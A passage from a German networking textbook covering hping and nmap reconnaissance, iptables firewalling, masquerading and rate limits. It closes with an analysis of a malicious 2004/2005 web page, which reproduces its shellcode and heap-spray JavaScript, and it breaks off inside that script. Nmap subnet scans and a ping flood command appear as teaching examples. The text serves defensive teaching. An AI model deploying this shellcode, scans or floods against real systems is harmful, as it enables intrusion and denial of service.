Aus den TCP-Daten kann man häufig sogar ermitteln, wie lange ein Rechner in Betrieb ist, dazu gibt es ein Timestamp-Feld. Aus der Differenz zwischen den Timestamps zweier Pakete kann hping die Uptime (Betriebszeit) errechnen:

server:~ # hping -p 80 -S --tcp-timestamp www.netthelp.de
HPING www.netthelp.de (eth0 85.214.46.129): S set, 40 headers + 0 data bytes
len=56 ip=85.214.46.129 ttl=59 DF id=0 sport=80 flags=SA seq=0 win=5792 rtt=33.5 ms
  TCP timestamp: tcpts=930276351

len=56 ip=85.214.46.129 ttl=59 DF id=+0 sport=80 flags=SA seq=1 win=5792 rtt=32.7 ms
  TCP timestamp: tcpts=930276601
  HZ seems hz=100
  System uptime seems: 107 days, 16 hours, 6 minutes, 6 seconds

len=56 ip=85.214.46.129 ttl=59 DF id=+0 sport=80 flags=SA seq=2 win=5792 rtt=32.8 ms
  TCP timestamp: tcpts=930276852
  HZ seems hz=100
  System uptime seems: 107 days, 16 hours, 6 minutes, 8 seconds

Diese Informationen liefern in der Regel nur Unix-Rechner und auch dort lassen sie sich relativ ein­fach unterbinden. Gut gepflegte Rechner liefern die Information daher leider nicht mehr.

6.3. Nmap

Für das Sammeln von Informationen über einen Rechner im Internet setzt man in der Regel fertige Tools ein, die sog. Portscanner. Der Klassiker unter den Protscannern ist das Programm nmap von http://www.insecure.org/nmap/index.html. Viele der in diesem Kapitel beschriebenen Möglichkeit­en zur Sammlung von Informationen stammen von den Entwicklern dieses Programmes.

Im einfachsten Fall ruft man nmap mit der Adresse des Zielrechners auf:

    nmap www.zielrechner.de

nmap führt dann einen Portscan mit Verbindungsaufbau durch, das entspricht dem ausführlicheren Kommando

    nmap -sT www.zielrechner.de

Der Schalter -s steht hierbei für Scan, der Parameter T für Connect.


Nmap kennt die folgenden Scanmethoden:

-sT 
Connect Scanning, führt mit jedem der interessierenden Ports auf dem Zielrechner ei­nen Verbindungsaufbau durch. Diese Art des Scans wird auf den Zielrechnern aber sehr oft protokolliert bzw. abgeblockt.
-sS 
Syn Scanning (stealth), auch als halb offenes Scanning bezeichnet beruht auf der Nut­zung von Datenpaketeten mit gesetztem Syn-Bit. Der Zielrechner antwortet mit gesetz­ten ACK+SYN Bits, wenn der Port offen ist bzw. mit RST, wenn der Port nicht aktiv ist. Auch diese Scans finden sich oft in den Log-Dateien wieder.
-sF 
Fin stealth Scan, bei dem ein Paket mit gesetztem FIN-Bit genutzt wird. Offene Ports ignorieren dieses Bit meistens, geschlossene antworten mit einem RST-Paket. Man kann auch alle Schalter setzen (Xmas-Paket) -sX bzw. keineen Schalter (Null-Paket) -sN.

Weitere wichtige Schalter von nmap sind:

-O 
Aktiviert das OS-Fingerprinting, nmap versucht das Betriebssystem des Zielrechners zu ermittlen.
-v 
bzw. -vv erhöhen die Geschwätzigkeit von nmap.

Mit nmap kann man eine große Zahl von Rechnern auf einen Schlag scannen.

nmap -sS -O www.zielrechner.de/24

Scannt alle Rechner, deren IP in den ersten drei Oktetts mit der von www.zielrechner.de überein­stimmt, das können 254 Rechner sein.

7. Paketfilter zum Absichern von Rechnern

Ein Rechner mit Kontakt zum Internet bzw. anderen Datennetzen ist immer gefährdet. Man kann die bestehenden Risiken nicht verhindern, nur vermindern. Eine übliche Möglichkeit dazu sind Pa­ketfilter. Paketfilter analysieren Datenpakete nach bestimmten Kriterien und verwerfen Pakete, die diesen Kriterien nicht genügen. Filter gibt es auf zwei Ebenen:

  • Paketebene
  • Applikationsebene

Sehr nützlich, aber auch speziell und meistens teuer sind Filter auf Applikationsebene. Ein derartiger Filter wertet den Datenverkehr für einen speziellen Dienst aus und kann z.B. im Mailverkehr nach Vi­ren suchen. Oder ein http-Filter könnte unerwünschte Daten bzw. Zugriffe von au­ßen auf be­stimmte Seiten blockieren. Zurzeit gibt es immer mehr derartige Programme, rela­tiv neu z.B. einen Filter der Samba-Zugriffe im Netz auf Viren untersucht.

Sehr weit verbreitet und sind Filter auf Paketebene. Hier wird jedes Datenpakte, das über ein Netz­werkgerät hereinkommt oder herausgeht, untersucht. Diese Untersuchungen sind mehr formaler Na­tur, es geht um Absender- oder Zieladressen, Protokolle bzw. die gesetzten Bits.

Paketfilter müssen zum Betriebssystem passen. Deshalb gibt es hier sehr unter­schiedliche Systeme für Hardwarerouter, Windows- oder Linux-Systeme.

Auf Linux-Rechnern unterscheiden sich die verwendeten Paketfilter sogar je nach den Haupt-Ker­nelversionen. Für die Kernel 2.0.x war es ipfwadm, für 2.2.x ipchains und für die aktuellen Kernel ist es iptables.


7.1. Iptables

Iptables ist eine Erweiterung des älteren Systems ipchains. Genau genommen sind diese Programme nicht wirklich Paketfilter, sondern sie steuern die Paketfilter, die in die je­wei­ligen Kernel bereits ein­gebaut sind. Der Kernel kennt drei Arten von Regeln (Chains):

Rechnernetze-050.png

  • Input wendet er an, wenn ein Paket an ei­nem Interface ankommt;
  • Output wendet er an, bevor ein Datenpaket ein Interface verlässt;
  • Forward benutzt er, wenn er ein Datenpaket von einem Interface zu einem anderen weiterleitet.

Jede Chain besteht aus einer Liste von Regeln, mit denen der Kernel jedes Datenpaket überprüft.

Die Regeln geben jeweils an, was zu tun ist, wenn der Header des Paketes einen bestimmten Aufbau besitzt. Wenn das Paket nicht den beschriebenen Aufbau hat, wendet der Kernel die nächste Regel an.

Als Ergebnis dieser Überprüfung ergibt sich für das Datenpaket eine der Möglichkeiten:

  • ACCEPT, der Kernel transportiert das Paket weiter;
  • DROP, er verwirft das Paket ohne Rückmeldung;
  • REJECT, er verwirft das Paket, informiert aber per ICMP den Absender.

Eine wichtige Änderung gegenüber IPchains besteht darin, dass Forwarding-Pakete, also solche, die nicht für den Rechner selber bestimmt sind, bei iptables nur noch die Forward-Chain durchlaufen. Die Input- und Output-Regeln spielen für diese Pakete keine Rolle. Im Paket-Header kann iptables u.a. folgende Informationen mit Regeln überprüfen:

  • Absender-IP und -Port (-s Source),
  • Ziel-IP und -Port (-d Destination),
  • Protokoll (-p Protocol).

Fragt man die eingestellten Regeln mit iptables -L ab, so erhält man:

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Für alle drei Chains liegt die Standard-Regel (Default-Policy) auf ACCEPT. Der Kernel wendet die Default-Policy an, wenn er ansonsten keine passende Regel findet.

Interessant ist vor allem die Forward-Chain. Hier leitet der Kernel momentan nur weiter, was für ein privates Netz unpraktisch ist, da der erste Router im Internet die Datenpakete aufgrund ihrer privat­en IP-Adressen verwirft. Hier muss man noch erreichen, dass der Kernel bei Datenpaketen aus dem loka­len Netz die private IP-Adresse des Absenders durch seine gültige IP-Adresse ersetzt. Dazu gibt es bei IPTABLES neben den bisher angesprochenen Chains die zwei zusätzlichen Be­reiche PRER­OUTING und POSTROUTING.

7.2. Masquerading

Wenn ein Datenpaket erfolgreich die FORWARD-Chain durchlaufen hat, danach also z.B. über ppp0 ins Internet gehen würde, muss die Absenderadresse geändert, also das Paket maskiert wer­den.

Rechnernetze-051.png

Die bisher angesprochenen Chains INPUT, OUTPUT und FORWARD gehören zur Default-Table fil­ter, während PREROUTING und POSTROUTING zur Table nat gehören.

Die Table filter muss in den Regeln nicht explizit angeben, wohl aber die Table nat (network ad­dress translation), die für alle Veränderungen der Adressinformationen, also auch das Masquera­ding, zu­ständig ist.

Folgendermaßen fügt man (-A) die Masquerading-Regel für das Output-Device (-o ppp0) an die POSTROUTING Chain der Table nat (-t nat) an:

iptables  -t  nat  -A  POSTROUTING  -o  ppp0  -j  MASQUERADE 

Sollte man bei der Eingabe dieser Regel eine Fehlermeldung erhalten, so ist vermutlich das Kernel-Modul für Nat nicht geladen; in diesem Fall gibt man

modprobe  iptable_nat 

ein und wiederholt danach die Nat-Regel.

Falls man sich beim Eintippen der Regeln verschreiben sollte, muss man die Regeln auch wieder los­werden können. Alle eingegebenen Regeln kann man auf einen Schlag löschen. Mit

iptables -F

löscht man alle Regeln der Default-Table filter und mit

iptables -t nat -F

alle Regeln der Table nat.

Mit der oben angegebenen Nat-Regel haben alle Rechner im Netz fast vollen Internet-Zugriff. Nur ein paar Dienste machen noch Probleme. Dazu gehört FTP, da dieser Dienst mit zwei verschiedenen Ports arbeitet. Über den Datenkanal empfängt man per FTP Pakete, die man über den Kommando­kanal an­gefordert hat. Darauf ist die hier beschriebene Firewall bisher nicht eingestellt. Für die meisten pro­blematischen Dienste gibt es inzwischen Module, die diese Probleme überwinden kön­nen. Diese Mo­dule muss man noch laden. Eine Lösung besteht darin, das folgende Programm zu er­stellen, welches die Default-Policy auf Masquerading stellt und die benötigten Module lädt. Das Script beruht auf dem Muster-Script sekeleton von SuSE:

#! /bin/sh
#
# /etc/init.d/maske
#
#   and symbolic its link
#
# /sbin/rcmaske
#
# System startup script for Masquerading
#
### BEGIN INIT INFO
# Provides: maske
# Required-Start: serial
# Required-Stop:
# Default-Start:  2 3 4 5
# Default-Stop:
# Description:    Start simple Firewall- Skript
### END INIT INFO

# Determine the base and follow a runlevel link name.
base=${0##*/}
link=${base#*[SK][0-9][0-9]}

IPTABLES=/usr/sbin/iptables
MODPROBE=/sbin/modprobe
test -x $IPTABLES || exit 5
test -x $MODPROBE || exit 5

. /etc/rc.status

rc_reset

fw_dev="ppp0"

case "$1" in
    start)
        echo -n "Starting Maske Firewall Skript"
        $MODPROBE iptable_nat
        $MODPROBE ip_nat_ftp
        $MODPROBE ip_conntrack
        $MODPROBE ip_conntrack_ftp
        $IPTABLES -F
        $IPTABLES -t nat -F
        $IPTABLES -t nat -A POSTROUTING -o $fw_dev -j MASQUERADE
        # Remem­ber status and be verbose
        rc_status -v
        ;;
    stop)
        echo -n "Shutting down Maske Skript"
        $IPTABLES -F
        $IPTABLES -t nat -F

        # Remember status and be verbose
        rc_status -v
        ;;
*)
        echo "Usage: $0 {start|stop}"
        exit 1
        ;;
esac
rc_exit

Das Script muss man noch mit

chmod  u+x  /etc/init.d/maske

ausführbar machen und bei Opensuse mittels:

insserv maske

aktivieren. Man kann das Maske-Script gut als Grundlage für eigene Experimente benutzen. Damit ist das Masquerading vollständig funktionsfähig.

7.3. Firewalling

Die bisherigen Informationen über Paketfilterung reichen erst einmal aus, um das Masquerading zu aktivieren. Will man eine genauere Kontrolle über die Pakete haben, so muss man tiefer in den Um­gang mit IPTABLES einsteigen. Bezogen auf eine gesamte Chain kann man:

  • Die Policy für eine eingebaute Chain ändern (-P);
  • Alle Regeln in einer Chain listen (-L);
  • Alle Regeln in einer Chain löschen (-F).

Bezogen auf einzelne Regeln kann man:

  • Eine Regel an eine Chain anfügen (append) (-A);
  • Eine Regel in eine Chain einfügen (insert) (-I);
  • Eine Regel in einer Chain ersetzen (replace) (-R);
  • Eine Regel in einer Chain löschen (delete) (-D);
  • Die erste Regel in einer Chain, die zutrifft, löschen (-D).

Dabei spielt die Reihenfolge eine wichtige Rolle. Der Kernel arbeitet die erste Regel ab, die zutrifft. Spätere Regeln spielen dann keine Rolle mehr. Neben den drei vorgegebenen Chains kann man auch eigene Chains (Benutzer-Chains) einrichten, um aufwändigere Regelwerke besser zu struktu­rieren . Für eigenen Chains gibt es folgende Regeln:

  • Eine Benutzerchain definieren und bennenen (-N);
  • Eine (leere) Benutzerchain löschen (-X).

Wir werden im weiteren Verlauf des Kapitels ein Beispiel mit einer Benutzerchain kennenlernen. Der erste Parameter von IPTABLES gibt üblicherweise an, was man machen möchte (append, in­sert, ...). Danach gibt man an, auf welche Chains sich die Regel beziehen soll und zuletzt die eigent­liche Regel. Ein paar kleine Beispiele:

iptables -P FORWARD DROP

Setzt die Policy für die Forward-Chain auf DROP. Alle Pakete zwischen den Interfaces würde der Kernel also abweisen, wenn er nicht noch eine passende positive Regel in der Chain findet.

iptables  -A FORWARD -s  192.168.1.51  -j DROP

Diese Regel unterbindet das Weiterleiten aller Datenpakete vom Rechner mit der IP-Adresse 192.168.1.51. Dieser Rechner kann aber noch auf lokale Serverdienste, wie z.B. Squid und den Apa­che zugreifen, aber nicht direkt aufs Internet. Für die Regel überprüft der Kernel hier den Ab­sender (-s). Trägt das Datenpaket die angegebene IP-Adresse als Absender, springt die Regel zu DROP (-j), das Paket wird verworfen. Absender- und Zieladresse eines Paketes bestehen aus der Angabe von Adresse und Port:

192.168.1.2 80 (WWW-Port des Servers).

Statt der IP-Adresse kann man auch den Namen angeben. Gleichbedeutend wäre also

boss.lokales-netz.de 80

Da man oft mehrere ähnliche Adressen ansprechen will, kann man Gruppen angeben. Bei 192.168.1.0/24 fällt die IP unter unsere Regel, wenn die ersten 24 Bit der IP diesem Muster entspre­chen. Hat man keine IP angegeben, so sind alle Adressen gemeint, was man auch konkret mit 0/0 an­geben könnte. Wenn man keine Angabe über Ports gemacht hat, bezieht sich das Muster auf alle Ports. Man kann jedoch wie oben einen Port einzeln angeben oder mit von:bis einen Bereich von Ports. Mit 30:144 würde man also alle Ports von 30 bis 144 erreichen, mit :144 alle Ports von 0 bis 144, da die erste Angabe fehlt. Entsprechend wäre eine fehlende zweite Angabe mit der höchsten Portnummer identisch. Ports können nicht nur über ihre Nummern angeben werden, sondern auch über ihre Bezeichnung:

boss.lokales-netz.de www

Bisher haben wir kein Protokoll angegeben, also gilt die Regel für alle Protokolle. Im folgenden Bei­spiel (aus dem IPTABLES-HOWTO) unterbindet man einen ping auf 127.0.0.1 (Loopback-De­vice). Ping benutzt das Protokoll ICMP. Vor Anwendung der Regel sollte man sich mit

ping -c 1 127.0.0.1

überzeugen, dass man in der Grundeinstellung hier ein einzelnes (-c1) Paket erfolgreich übertragen kann.

iptables -I INPUT -s 127.0.0.1 -p icmp -j DROP

Damit wird der nächste ping von dieser Adresse aus nicht mehr funktionieren, da das Antwortpaket nicht mehr durch die Firewall kommt. Ping wartet übrigens sehr lange, bevor er mit einer Fehler­meldung aufgibt.

Ungeduldige brechen vorher mit (Strg)+(C) den Befehl ab. Bleibt zu klären, wie man diese Regel wieder löschen kann. Da wir wissen, dass die Regel die einzige bzw. erste Regel in der Chain Input ist, kann man sie mit

iptables -D INPUT 1

löschen. Das -D steht hier für Delete und erwartet die Angabe der Chain und die Nummer der Re­gel.

Bei vielen Regeln ist dieser Weg unübersichtlich; dann ist es einfacher, die Regel mit dem Parame­ter -D noch einmal anzugeben:

iptables -D INPUT -s 127.0.0.1 -p icmp -j DROP

Bei den Regel-Parametern gibt es folgende Angaben:

  • -s Adresse(n) inklusive Port (Source),
  • -d Adresse(n) inklusive Port (Destination),
  • -i Device (Interface) + als Wildcard erlaubt,
  • -p Protokoll,
  • -j Aktion (Target),

7.4. Sicherheitsphilosophien

Bei der Arbeit mit IPTABLES gibt es zwei grundsätzliche Strategien:

  • Vertrauen: Alles ist erlaubt, was nicht explizit verboten ist. Die Default-Policies stellt man bei diesem Ansatz auf ACCEPT.
  • Misstrauen: Alles ist verboten, was nicht explizit erlaubt wurde. Die Default-Policies stellen man dann auf REJECT oder DROP.

Die größere Sicherheit bietet der misstrauische Ansatz. Er macht aber auch viel Arbeit, wenn man mehrere Dienste oder Protokolle freischalten muss. Man sollte hier sehr genau überlegen, welche sinnvollen Anforderungen Anwender im Netz haben und welche Anwendungen wirklich eine Rolle spielen. Erst dann kann man entscheiden, mit welcher Strategie man an die Firewall herangeht.

7.5. Ein praktisches Beispiel

Für ein kleines lokales Netz sollten Sie das Forwarding nur für die Rechner im lokalen Netz ermög­lichen, neue Anfragen von außen sollten Sie normalerweise verwerfen. Die folgenden Regeln (frei nach dem Filtering HOWTO) zeigen das exemplarisch:

# definierten Zustand erstellen und alle Regeln löschen
iptables -F
iptables -t nat -F

# Ein Router sollte Pakete vom Typ destination-unreachable bearbeiten 
iptables -A INPUT -i ppp0 -p icmp --icmp-type destination-unreachable -j ACCEPT 

# Kette erstellen, die neue Verbindung blockt, es sei denn, sie kommen von innen 
iptables -N block
iptables -A block -m state --state ESTABLISHED,RELATED -j ACCEPT 
iptables -A block -m state --state NEW -i ! ppp0 -j ACCEPT  
iptables -A block -j DROP

# Von INPUT und FORWARD Ketten zu dieser Kette springen 
iptables -A INPUT -j block 
iptables -A FORWARD -j block

# Maskieren der lokalen Rechner
iptables -t nat -A POSTROUTING -o ppp0  -j MASQUERADE

In den ersten Zeilen löscht man erst einmal alle Regeln der Table filter und der Table nat. Dann legt man eine Benutzerchain block an, die einerseits Pakete durchlässt, die Antwortpakete sind (Status ESTABLISHED, ...) oder neue Pakete, die nicht über ppp0, also das Internet hereinkommen. Diese Regeln bindet man dann in die INPUT und die FORWARD-Chain ein.

Zuletzt aktiviert man noch das Masquerading, das dann auf die Pakete wirkt, die die FORWARD-Chain erfolgreich passiert haben. Der Rechner antwortet damit auf keinerlei Anforderungen aus dem Internet, nicht einmal einen ping beantwortet er. Aus dem lokalen Netz heraus, und von Server selber aus hat man aber vollen Zugriff auf das Internet.

Soll der Server auf ping reagieren, dann muss am Anfang des Listings folgende Zeile ergänzt wer­den.

iptables -A INPUT -i ppp0 -p icmp --icmp-type echo-request -j ACCEPT 

Soll der Server auch öffentlich Dienste anbieten, so muss man diese explizit freischalten, beispiels­weise den Port 80 für einen Webserver:

iptables -A INPUT -i ppp0 -p tcp --dport 80 -j ACCEPT

Diese Regel muss aber vor der Definition der Benutzerchain block stehen, da sie sonst nicht mehr be­rücksichtigt wird.

7.6. Accounting Rule

Der Kernel zählt für jede Regel mit, wie viele Datenpakete er der Regel unterworfen hat. Bezogen auf das vorangegangene Beispiel liefert

iptables  -L block  -v

die folgende Ausgabe (nach erfolgter Nutzung):

Chain block (2 references)
 pkts bytes target     prot opt in     out     source     destination 
  184  9388 ACCEPT     all  --  any    any     anywhere   anywhere          state RELATED,ES­TABLISHED    
   22  1824 DROP       all  --  any    any     anywhere   anywhere 

Der Kernel hat über die erste Regel 184 Pakete akzeptiert und über die zweite Regel 22 Pakete ab­gelehnt. Will man generell zählen, wie viele Daten ein bestimmter Rechner ins Internet übertragen hat, so ist die einfachste Regel eine ohne Ziel. Eine derartige Regel nennt man auch accounting rule, weil sie nur zum Zählen von Paketen, dem Accounting geeignet ist:

iptables -I INPUT  -s  192.168.1.1

Diese Regel zählt alle Pakete vom Host 192.168.1.1. Über den Schalter -I statt -A fügt man diese Re­gel am Anfang der Chain ein und hängen Sie nicht am Ende an, was keinen Effekt mehr hätte.

Der Befehl

iptables -L INPUT -v 

zeigt die Summe von Bytes und Paketen an, die das Interface passiert haben, nachdem die Regel zu­treffend war, um das Datenaufkommen in einem Netz sehr differenziert auszuwerten. Zurücksetzen kann man die Zähler über iptables -Z, konkret für das letzte Beispiel mit:

iptables -Z INPUT

7.7. Logging-Rule

Neben der bereits angesprochenen Möglichkeit die Pakete zu zählen hat man mit IPTABLES auch eine einfache Möglichkeit Zugriffe gezielt zu protokollieren. Angenommen, es sollen Zugriffe auf den Telnet-Port 23 nicht nur gesperrt, sondern auch protokolliert werden wer wann versucht auf die­sen Port zuzugreifen. Dann fügen wir folgende Regel ein:

iptables -I INPUT -p tcp --dport 23 -j LOG --log-prefix "Telnet-Zugriff: " 

Das neue Sprungziel LOG protokolliert Zugriffe in den Dateien /var/log/messages und

/var/log/warn. Im Gegensatz zu anderen Sprungzielen beendet LOG den Ablauf nicht, die weiteren Regeln arbeitet der Kernel also ganz normal ab. Um das Auswerten der Logdateien zu erleichtern, kann man optional mit --log-prefix einen individuellen Textes angeben. Ein Versuch eines Telnet-Zugriffs auf Ihren Ser­ver hinterläßt folgende Einträge in der Log-Datei.

Jan  4 14:58:22 boss kernel: Telnet-Zugriff: IN=eth0 OUT= MAC=00:50:bf:55:8d:46:00:50:bf:58:56:fd:08:00 SRC=192.168.1.56 DST=192.168.1.2 LEN=48 TOS=0x00 PREC=0x00 TTL=128 ID=19228 DF PROTO=TCP SPT=1092 DPT=23 WINDOW=8192 RES=0x00 SYN URGP=0 

Diese hält Datum, Uhrzeit sowie die IP- und die MAC-Adresse des aufrufenden Rechners fest.

7.8. Limits

Zu den neuen Funktionen von iptables gehört die Möglichkeit Zugriffe in ihrer Häufigkeit zu be­schränken. Eine Möglichkeit einen Rechner lahm zu legen besteht darin, ihn von vielen Rechnern im Netz aus mit einem Ping zu belasten. Im schlimmsten Fall mit dem Parameter -f (flood)

ping  -f  www.bei-mir-nicht.de

Damit schickt der Ping-Befehl seine Datenpakete so oft wie irgend möglich an den Zielrechner. Wenn das mehrere Hacker gleichzeitig machen, dann kann dies zu einem Zusammenbruch des Ziel­rechners führen. Mit der Limit-Option (-m limit) und deren Parameter --limit 1/sec kann man einen derartigen Angriff unterbinden:

iptables  -A INPUT -i ppp0 -p icmp --icmp-type echo-request -m limit --limit 1/sec -j ACCEPT 

Der Rechner beantwortet jetzt nur noch einen Ping pro Sekunde. Auch für manche Dienste macht Be­schränkung der Anzahl der Zugriffe Sinn. Da es in der letzten Zeit viele Angriffe auf den SSH-Dämon gab, sollten Sie diesen entsprechend schützen. Sie dürfen aber nicht alle Pakete zum SSH-Port limitie­ren, dass würde ja Ihre Arbeitsgeschwindigkeit beschränkem, sondern nur Pakete für den Verbin­dungsaufbau.

iptables -A INPUT -p tcp --dport 22 -m limit --limit 1/sec -m state --state NEW  -j ACCEPT

Mit dieser Regel können Sie pro Sekunde nur eine Verbindung per SSH aufbauen, nach den Verbin­dungsaufbau ist der Status der Pakete nicht mehr NEW, die Regel stört dann also nicht während der Verbindung.

Zur Erinnerung: Hier unbedingt auf -m recent eingehen

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP


Quellen:

http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html#ss3.16

http://www.debian-administration.org/articles/187

8. Angiffe auf Rechner

Vor einigen Jahren wurden Rechner oftmals direkt über das Internet angegriffen, sowie sie eine Netzwerkverbindung aufgebaut hatten. Seit DSL steht die Mehrzahl der Rechner relativ sicher hinter einem DSL-Router, der eigentlich immer über eine Firewall-Funktion verfügt.

Angriffe erfolgen heutzutage meist von Innen, entweder über manipulierte Mails, oder über manipulierte Webseiten. Man kann sich bei keiner Website darauf verlassen, dass sie ungefährlich ist:

Über den Jahreswechsel 2004/2005 gab es bei Google auf mehrere Suchbegriffe hin sehr interessant­e Anzeigen, wie im Screenshot (vom 2.1.05 ca. 17.00h, der Link ist am 3.1.05 ca. 8.20h immer noch so vorhanden ).

Rechnernetze-080.png

Der Link der ersten Anzeige führt anscheinend zu www.computerclassics.de. Was man der Seite nicht ansehen kann, ist der wirkliche Link:

http://www.google.de/url?sa=l&q=http://irg24.com/start.html&ai=BdR_0yCHYQbedMK_mQJWYzfsG9-GmB92F_5YB95rBkwHQnSUQARgBKAg4AEDkEUizOZgB-0rIAQE&num=1

Es öffnet sich die folgende etwas merkwürdige Seite, in den meisten weit verbreiteten Browsern ist der eingebettete Rahmen nicht zu sehen.

Rechnernetze-081.png

Interessant ist der Quelltext dieser Seite.

<HTML>
<img src=http://www.irg24.com/80537-Op8QZKM.jpg>
<center>
<b>Vorname: Anke<br>            Alter: 25       <br>
Größe: 1.74 m<br>
Gewicht: 55 kg<br>
<br><br><br></b>

"Wissen Sie, ich verstehe eigentlich schon, wie sie so sind. Sie sind wunderschön und sie denken, dass Männer nur an ihnen interessiert sind, weil sie eben schön sind. Aber sie möchten, dass sie an ihnen interessiert sind, weil sie sie sind. Das Problem ist nur, ab­gesehen von ihrer Schönheit, sind sie nicht besonders interessant. Sie sind unhöflich, abweisend, sie sind mürrisch und sie sind verschlossen. Sie wünschen sich sicher jemand, der bereit ist, hinter all das zu sehen und den wahren Menschen entdeckt. Aber der einzig­e Grund, weshalb sich jemand die Mühe machen sollte, dahinter zu schauen, ist der, dass sie schön sind. Ironie des Schicksals - Auf seltsame Art sind sie selbst ihr Pro­blem."</center>

<SCRIPT language="javascript">

 shellcode=unescape("%u9090%u9090%u3390%u33c0%uebc9%u5e12%ufe8b%ub966%u033c%u2e80%u801a%u0136%ue246%uebf7%ue805%uffe9%uffff%u089a%u2b3d%u1b5b%u4c17%u7fdb%u5ba4%u9e4b%u93db%ua427%u275b%u8ba4%uc637%u5ba4%u0423%ua422%u4f5b%u5ba6%ua497%u575b%u2403%u1b1b%u241b%u8fdb%u8521%u181b%u04eb%udc1a%ua46e%u9a07%u83df%u1819%ua218%u1396%u5ea2%ub117%udb4c%ue19c%u8157%u1cc6%u175e%uc6b1%u6b56%u1b5e%u281b%ua99e%u1b1d%ua41b%u8f61%u5e1c%ub117%ue19c%uc633%u5ea2%uc60b%u5ea2%uc607%u5ea2%uc603%u5ea2%ue0ff%udb5e%u621f%uec4d%u8703%u1b1d%ua21b%uef5e%u5ee0%ua9db%u2969%u0307%u1d76%u1b1b%u5ea2%ue0e7%udb5e%u17c5%u9726%u6903%u1b1d%ua21b%ueb5e%u5ee0%u25db%u1052%u0371%u1d58%u1b1b%u5ea2%ue0f3%ud­b5e%u198d%u31cc%u4b03%u1b1d%ua21b%ufb5e%u5ee0%ucbdb%u4662%u03f4%u1d3a%u1b1b%u5ea2%ue0e3%udb5e%uf399%u8cfd%u2d03%u1b1d%ua21b%uf75e%u2403%u1b1b%u6e1b%u676d%u6866%u4969%u675f%u1b67%u5ea4%u18ef%u24eb%u8edb%u032e%u1b24%u1b1b%u6d6e%u6667%u6968%u5f49%u6767%ua41b%ue75e%ueb18%u3303%u1b1b%u6e1b%u676d%u885f%u8990%u8887%u7f7a%u886f%u7a5c%u837c%u617e%u8782%u5a7e%u6b1b%u5ea4%u18eb%ua2eb%udf5e%u5ee0%u1f0f%u1b1b%ue11b%ud79e%u1819%u1b18%ueb83%u1b20%ua41b%ue35e%ueb18%u1b85%u1b85%u1f83%u1b1a%ua61b%ud79e%u1819%u6b18%u1f03%u1b1a%u831b%u8f8f%u558b%u4848%u9090%u4990%u8d82%u4d80%u494f%u887c%u4886%u8b8e%u7a7f%u7e8f%u7e49%u7e93%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u851b%ua41b%udf5e%ueb18%u9ea6%u19d7%u1818%ua46b%uf35e%ueb18%u185b%u0f66%udb24%u258e%u969c%u1b0f%u9e28%u19d3%u1818%u9ee0%u1993%u1818%u1b5f%u1b1b%u9ee0%u1997%u1818%u1b1b%u1b1b%u9ee0%u199b%u1818%u1b1b%u1b1b%ue081%uc59e%u1819%u1b18%ue01b%uc79e%u1819%u1b18%u1b1b%ua61b%u839e%u1819%u6b18%u9ea6%u1993%u1818%u856b%u851b%u851b%u851b%u851b%u851b%u851b%ua61b%ud79e%u1819%u6b18%u5ea4%u18fb%ua4eb%uf75e%u6ea4%ue217%u4cdc%ue2db%ua4dc%uff96%u961c%ua417%u038e%u8e1c%ua417%u0b6e%u1cc6%u175e%ub171%ue244%udb44%u9fc7%u8fdb%uda20%u26e2%ue31c%u0f04%u5479%udb66%u208f%u6060%u8e65%u04f8%u4c2e%u81db%u20a4%ufbda%ua41d%u078e%u8e1c%u1c17%uc60b%u5e1c%udc17%u1bd3%u1b1b%udc1b");

bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
mem_area = new Array();

max_limit=700;

for (i=0;i<max_limit;i++)
{
sploit_copy = block + shellcode;
mem_area[i] = sploit_copy;
}

